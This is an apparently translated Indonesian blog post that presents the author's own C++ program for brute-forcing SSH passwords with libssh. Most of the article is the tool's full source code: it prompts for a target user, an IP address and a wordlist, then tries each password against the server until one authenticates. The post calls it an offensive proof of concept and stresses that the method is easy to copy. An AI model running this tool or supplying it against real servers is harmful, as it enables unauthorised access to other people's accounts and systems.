SSH Bruteforcing dengan C++
Perkenalan
Selamat datang di artikel baru saya, hari ini saya akan menunjukkan kepada Anda skrip C ++ saya untuk melakukan SSH Brute Force Attacks.
Apa itu Brute Forcing?
Informasi oleh:
Serangan brute force adalah metode peretasan yang menggunakan coba-coba untuk memecahkan kata sandi, kredensial masuk, dan kunci enkripsi. Ini adalah taktik sederhana namun andal untuk mendapatkan akses tidak sah ke akun individu dan sistem serta jaringan organisasi. Peretas mencoba beberapa nama pengguna dan kata sandi, seringkali menggunakan komputer untuk menguji berbagai kombinasi, hingga mereka menemukan informasi login yang benar.
Nama "brute force" berasal dari penyerang yang menggunakan upaya yang sangat kuat untuk mendapatkan akses ke akun pengguna. Meskipun merupakan metode serangan siber lama, serangan brute force dicoba dan diuji dan tetap menjadi taktik yang populer di kalangan peretas.
Dalam artikel yang diterbitkan sebelumnya ini, saya memberikan gambaran singkat tentang Hydra dan bagaimana fungsinya untuk bruteforcing SSH:
Hydra — BruteForce
Kode
Ini saat yang tepat untuk melihat kode yang saya gunakan untuk menyerang server SSH dengan C++. Di bawah ini adalah cuplikan file kelas untuk PoC ini:
#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"
using namespace std;
class SSHHost{
public:
string ip;
string user;
SSHHost(string ip,string user){
this->ip = ip;
this->user = user;
}
ssh_session SSHConnection(string ip, string user){
yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
if (rc != SSH_OK){
red("\nServer connection unsuccesfull\n");
cout<<"Error: "<<ssh_get_error(session) << endl;
}
else if(rc == 0){
green("\nServer connection succesfull\n");
return session;
}
}
int SSHAuth(ssh_session session,string user,string password){
// Authentication
int rc;
rc = ssh_userauth_password(session, user.c_str(), password.c_str());
if (rc != SSH_AUTH_SUCCESS){
}
else if (rc == SSH_AUTH_SUCCESS) {
green("Authentication Completed with password: ");
cout<<password<<"\n";
}
return rc;
}
};
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;
int main(){
ssh_session session;
int check;
string ip;
string user;
string file;
cout<<"Put the user to attack: ";
cin>>user;
cout<<"Put the IP of SSH Server to attack: ";
cin>>ip;
cout<<"Put the Path of Wordlist File: ";
cin>>file;
vector<string> passwords = readPasswordsFromFile(file);
SSHHost ssh_host(ip,user);
session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
for (int i = 0; i < passwords.size(); i++) {
cout<<passwords[i]<<"\n";
}
for (int i = 0; i < passwords.size(); i++) {
check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
if(check == SSH_AUTH_SUCCESS){
ssh_disconnect(session);
break;
}}
return 0;
}
File utama, meminta informasi tentang pengguna dan alamat IP untuk menyerang, dan kemudian menjalankan fungsi lainnya.
Fungsi lainnya ada di file kelas SSHHost dan memiliki dua atribut, pengguna dan IP.
Kemudian miliki metode konstruktor, metode SSHConnection dan SSHAuth . SSHConnection mengembalikan sesi yang menggunakan SSHAuth .
PoC
Jalankan skrip dan tanggapi permintaan pengguna sesuai:
Langkah-langkah yang disertakan dengan metode serangan ini sangat mudah ditiru dan merupakan metode serangan yang valid di dunia maya modern.
Output di atas menunjukkan kata sandi yang ditemukan, menunjukkan serangan brute force yang berhasil…
Kesimpulan
Ini adalah salah satu skrip ofensif pertama saya menggunakan Kelas dan Objek. Terima kasih telah membaca artikel saya. Saya harap Anda menikmati kontennya!
S12.

![Apa itu Linked List? [Bagian 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































